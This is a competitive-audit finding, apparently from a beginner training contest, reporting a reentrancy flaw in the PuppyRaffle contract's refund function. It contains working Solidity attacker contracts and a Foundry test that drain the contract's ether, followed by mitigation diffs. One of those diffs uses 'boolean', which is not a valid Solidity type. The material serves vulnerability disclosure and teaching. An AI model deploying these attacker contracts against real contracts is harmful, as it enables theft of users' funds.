Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Executing a reentrancy attack from an external contract allows to drain all the ether deposited in the raffle.

Root + Impact

Description

  • The function `PupplyRaffle::refund` can be attacked using reentrancy.

// Root cause in the codebase with @> marks to highlight the relevant section

Risk

Likelihood:

  • Eveytime a malisious contract calls `PupplyRaffle::refund`

Impact:

  • All contract funds can be drained ejecuting reentrancy in the `PupplyRaffle::refund` function.

Proof of Concept

If 100 users enters de raffle, and a malicious contract enters after and requests the refund executing reentrancy, all the funds will be drained.
- PuppyRaffle balance before attack: 100
- ReentrancyAttacker balance before attack: 1
- PuppyRaffle balance after attack: 0
- ReentrancyAttacker balance after attack: 101
```solidity
function test_reentracyRefund() public {
ReentrancyAttacker reentrancyAttackerContract;
reentrancyAttackerContract = new ReentrancyAttacker(puppyRaffle);
vm.deal(address(reentrancyAttackerContract), 1 ether);
// Let's enter 100 players
uint256 playersNumber = 100;
address[] memory players = new address[](playersNumber);
for (uint256 i = 0; i < playersNumber; i++) {
players[i] = address(i);
}
// Enter 100 players to the raffle
puppyRaffle.enterRaffle{value: entranceFee * playersNumber}(players);
// Check balance before the attack
console.log("PuppyRaffle balance before attack:", address(puppyRaffle).balance / 1e18);
console.log("ReentrancyAttacker balance before attack:", address(reentrancyAttackerContract).balance / 1e18);
console.log("-------------------");
// Reentrancy attack contract starts the attack
reentrancyAttackerContract.attack();
// Check balance after attack
console.log("PuppyRaffle balance after attack:", address(puppyRaffle).balance / 1e18);
console.log("ReentrancyAttacker balance after attack:", address(reentrancyAttackerContract).balance / 1e18);
console.log("-------------------");
// Check the reentrancy attack count
console.log("Reentrancy attack count:", reentrancyAttackerContract.attackCount());
assertEq(address(puppyRaffle).balance, 0);
assertEq(address(reentrancyAttackerContract).balance, 101 ether);
assertEq(reentrancyAttackerContract.attackCount(), 101);
}
contract ReentrancyAttacker {
PuppyRaffle puppyRaffleContract;
uint256 public entraceFee;
uint256 public playerIndex;
uint256 public attackCount;
constructor(PuppyRaffle _puppyRaffleContract) {
puppyRaffleContract = _puppyRaffleContract;
entraceFee = puppyRaffleContract.entranceFee();
}
function attack() public {
// Enter the raffle
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffleContract.enterRaffle{value: entraceFee}(players);
// Refund the entrance fee & start attack
playerIndex = puppyRaffleContract.getActivePlayerIndex(address(this));
puppyRaffleContract.refund(playerIndex);
}
function _stealMoney() internal {
attackCount++;
if (address(puppyRaffleContract).balance >= entraceFee) {
puppyRaffleContract.refund(playerIndex);
}
}
receive() external payable {
_stealMoney();
}
fallback() external payable {
_stealMoney();
}
}
```

Recommended Mitigation

There are several ways to fix the reentrancy.
Using CEI (Check - Effect - Interaction) Pattern.
```diff
function refund(uint256 playerIndex) public {
+ // Check
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ // Effect
- payable(msg.sender).sendValue(entranceFee);
+ players[playerIndex] = address(0);
+ // Interaction
- players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);
emit RaffleRefunded(playerAddress);
}
```
Using lock boolean as execution function condition.
```diff
+ boolean locked;
function refund(uint256 playerIndex) public {
+ require(!locked, "Reentrancy is locked");
+ locked = true;
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
+ locked = false;
}
```
Using Openzeppelin ReentrancyGuard Contract (https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard)
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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